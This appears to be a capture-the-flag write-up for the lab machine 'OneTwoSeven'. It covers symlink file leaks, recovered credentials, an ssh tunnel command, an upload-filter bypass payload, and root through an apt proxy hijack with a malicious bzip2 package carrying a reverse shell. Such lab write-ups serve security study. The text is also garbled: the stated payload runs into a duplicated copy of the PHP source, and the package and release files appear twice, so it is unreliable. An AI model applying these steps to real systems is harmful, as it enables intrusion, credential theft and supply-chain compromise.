On our initial nmap scan, it turns out only ssh (22) and http (80) are available. From the webpage, we can receive sftp credentials, which we can use on port 22. We also get our own webpage based on our account; after noticing that I can create and delete files from sftp, I realized that I control my own webpage. Directly dropping in php files and then calling them from a new malicious webpage I made failed. However, I noticed that I could use symbolic leaks to perhaps extract credentials; after all, it treats symbolically linked (I used soft links) files as text files. Using this technique, I can extract other information and even valuable source code. When I symbolically linked /var/www to a new folder in our web folder, I noticed a vim swap file. Inside, I found the following creds: ots-admin:Homesweethome1
However, those creds don't work yet. Eventually, I symbolically linked index.php from web root (/var/www/html) and found a reference to signup.php and the following references to adminlink, following the condition if the IP is 127.0.0.1 or 104.24.0.54 (portal is on port 60080 according to source).
Additionally, the following was in signup.php:
function username() { $ip = $_SERVER['REMOTE_ADDR']; return "ots-" . substr(str_replace('=','',base64_encode(substr(md5($ip),0,8))),3); }
function password() { $ip = $_SERVER['REMOTE_ADDR']; return substr(md5($ip),0,8); }
function password() { $ip = $_SERVER['REMOTE_ADDR']; return substr(md5($ip),0,8); }
Making this into its own php script locally, I tried testing it with 127.0.0.1 as the IP to find the creds and username (our earlier creds and username came from this too). Here's what I received:ots-yODc2NGQ:f528764d
Using these credentials on port 22, I managed to own user.
Now, for root, I first attempted to visit the admin page, which can only be accessed from those specific IPs. I used ssh tunneling (but sftp kept getting in the way until I disabled shell spawning and any command execution in my command): ssh -NT -L 60080:127.0.0.1:60080 ots-yODc2NGQ@onetwoseven.htb
We manage to enter in with ots-admin credentials. Interestingly, the submit button is disabled, but you can easily enable it with classic inspect element. However, upload does not work by default and there are rewrite rules. Using the download one, I managed to download the source of ots-man-addon.php.
session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
}
break;
# Download addon from addons folder.
case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
if ($_GET['addon']) {
$addon_file = basename($_GET['addon']);
if ( file_exists($addon_file) ) {
header("Content-Disposition: attachment; filename=$addon_file");
header("Content-Type: text/plain");
readfile($addon_file);
} else {
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
die();
}
}
break;
default:
echo "The addon manager must not be executed directly but only via<br>";
echo "the provided RewriteRules:<br><hr>";
echo "RewriteEngine On<br>";
echo "RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]<br>";
echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
echo "By commenting individual RewriteRules you can disable single<br>";
echo "features (i.e. for security reasons)<br><br>";
echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
break;
}
Ah, we have to beat a few string checks check above. This was my final payload (sent with Burp): addon-download.php?blah=/addon-upload.php# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
}
break;
# Download addon from addons folder.
case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
if ($_GET['addon']) {
$addon_file = basename($_GET['addon']);
if ( file_exists($addon_file) ) {
header("Content-Disposition: attachment; filename=$addon_file");
header("Content-Type: text/plain");
readfile($addon_file);
} else {
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
die();
}
}
break;
default:
echo "The addon manager must not be executed directly but only via<br>";
echo "the provided RewriteRules:<br><hr>";
echo "RewriteEngine On<br>";
echo "RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]<br>";
echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
echo "By commenting individual RewriteRules you can disable single<br>";
echo "features (i.e. for security reasons)<br><br>";
echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
break;
}
Using the pentest monkey webshell, I managed to pop a shell. Looking at the output of sudo -l in basic enumeration, I noticed that I can run sudo apt-get update and sudo apt-get upgrade and set an HTTP proxy. Sounds like a MITM attack! Read this article to learn more. I set the proxy to point to a burp listener on my end (with the listener off) and then in my /etc/hosts file, added onetwoseven.htb as 127.0.0.1. Others used different configurations to hijack the connection.
Then, I looked through the installed packages on the box and decided to target bzip2. In my malicious package, I had to make the dependencies and version number similar and slightly higher (for the latter). Then, in a malicious post install script, I added a reverse shell, a bind shell, and a cat command to dump the root flag into tmp. This was just for precautions because making the package took so long. As for setting up the malicious server on our side for port 80, here is what I did:
Go to /var/lib/apt/lists to carefully check the formatting when needed.
I basically followed the article for the rest of the setup. My package file looked like this:
Package: bzip2
Version: 1.0.6-8.2
Installed-Size: 184
Maintainer: Anibal Monsalve Salazar <anibal@debian.org>
Architecture: amd64
Replaces: libbz2 (<< 0.9.5d-3)
Depends: libbz2-1.0 (= 1.0.6-8.1), libc6 (>= 2.14)
Homepage: http:///packages.onetwoseven.htb
Description: high-quality block-sorting file compressor - utilities
Description-md5: 26e9d96b611ed3cf741ba7007fd4f233
Suggests: bzip2-doc
Multi-Arch: foreign
Tag: implemented-in::c, interface::commandline, role::program,
scope::utility, use::compressing, works-with-format::TODO,
works-with::archive, works-with::file
Section: utils
Priority: standard
Filename: /bzip2_1.0.6-8.2.deb
Size: 52424
SHA1: 8b1be1e08bc7ee54dfe6325f68d90d50d958ab94
MD5sum: 34a92f13d33e6d5a225f0e411a9d700f
SHA256: f55a84d3eac72958cc31c7f19c80aadd1c7cf6783c85aa355590ade261ea5b13
Description: high-quality block-sorting file compressor - utilities
bzip2 is a freely available, patent free, high-quality data compressor.
It typically compresses files to within 10% to 15% of the best available
techniques, whilst being around twice as fast at compression and six
times faster at decompression.
.
bzip2 compresses files using the Burrows-Wheeler block-sorting text
compression algorithm, and Huffman coding. Compression is generally
considerably better than that achieved by more conventional
LZ77/LZ78-based compressors, and approaches the performance of the PPM
family of statistical compressors.
.
The archive file format of bzip2 (.bz2) is incompatible with that of its
predecessor, bzip (.bz).
Homepage: http://www.bzip.org/
Version: 1.0.6-8.2
Installed-Size: 184
Maintainer: Anibal Monsalve Salazar <anibal@debian.org>
Architecture: amd64
Replaces: libbz2 (<< 0.9.5d-3)
Depends: libbz2-1.0 (= 1.0.6-8.1), libc6 (>= 2.14)
Homepage: http:///packages.onetwoseven.htb
Description: high-quality block-sorting file compressor - utilities
Description-md5: 26e9d96b611ed3cf741ba7007fd4f233
Suggests: bzip2-doc
Multi-Arch: foreign
Tag: implemented-in::c, interface::commandline, role::program,
scope::utility, use::compressing, works-with-format::TODO,
works-with::archive, works-with::file
Section: utils
Priority: standard
Filename: /bzip2_1.0.6-8.2.deb
Size: 52424
SHA1: 8b1be1e08bc7ee54dfe6325f68d90d50d958ab94
MD5sum: 34a92f13d33e6d5a225f0e411a9d700f
SHA256: f55a84d3eac72958cc31c7f19c80aadd1c7cf6783c85aa355590ade261ea5b13
Description: high-quality block-sorting file compressor - utilities
bzip2 is a freely available, patent free, high-quality data compressor.
It typically compresses files to within 10% to 15% of the best available
techniques, whilst being around twice as fast at compression and six
times faster at decompression.
.
bzip2 compresses files using the Burrows-Wheeler block-sorting text
compression algorithm, and Huffman coding. Compression is generally
considerably better than that achieved by more conventional
LZ77/LZ78-based compressors, and approaches the performance of the PPM
family of statistical compressors.
.
The archive file format of bzip2 (.bz2) is incompatible with that of its
predecessor, bzip (.bz).
Homepage: http://www.bzip.org/
My releases file looked like this:
Origin: Devuan
Label: Devuan
Suite: Stable
Version: 1.0.6-8.2
Codename: ascii
Date: Mon, 21 Apr 2019 07:57:13 UTC
Architectures: amd64
MD5Sum:
3d7bbfc40028200d27fb6fc0f51a94d8 main/binary-amd64/Packages
943dba7597825e10c8598835e0324a3f main/binary-amd64/Packages.gz
SHA1:
97d6e52da5befcd8a0b082bd9ab48195d00109d8 main/binary-amd64/Packages
ef45d09148383a24aaeba1b8ba246b9c50ad5416 main/binary-amd64/Packages.gz
SHA256:
c764a146c77ef8bbd7978fa5841fcd2243477eb9f79dc84bac2bc7f7662aab11 main/binary-amd64/Packages
cb444bd2cbd541835c81cbdeaef1594f64dc58d1c66afa97ff1914193526dc28 main/binary-amd64/Packages.gz
Label: Devuan
Suite: Stable
Version: 1.0.6-8.2
Codename: ascii
Date: Mon, 21 Apr 2019 07:57:13 UTC
Architectures: amd64
MD5Sum:
3d7bbfc40028200d27fb6fc0f51a94d8 main/binary-amd64/Packages
943dba7597825e10c8598835e0324a3f main/binary-amd64/Packages.gz
SHA1:
97d6e52da5befcd8a0b082bd9ab48195d00109d8 main/binary-amd64/Packages
ef45d09148383a24aaeba1b8ba246b9c50ad5416 main/binary-amd64/Packages.gz
SHA256:
c764a146c77ef8bbd7978fa5841fcd2243477eb9f79dc84bac2bc7f7662aab11 main/binary-amd64/Packages
cb444bd2cbd541835c81cbdeaef1594f64dc58d1c66afa97ff1914193526dc28 main/binary-amd64/Packages.gz
Then, from a few failed attempts, I slowly figured out the correct directory structure. Devuan was the first directory, bzip package was contained in a pool folder, and then under dists/ascii, I held the Release and Release.gz files. Within here, I had a binary-amd64 folder under main, and the Packages and Packages.gz files in there. I also held all these files in the same the malicious server root too. Now, I managed to get a shell back, and this box was owned!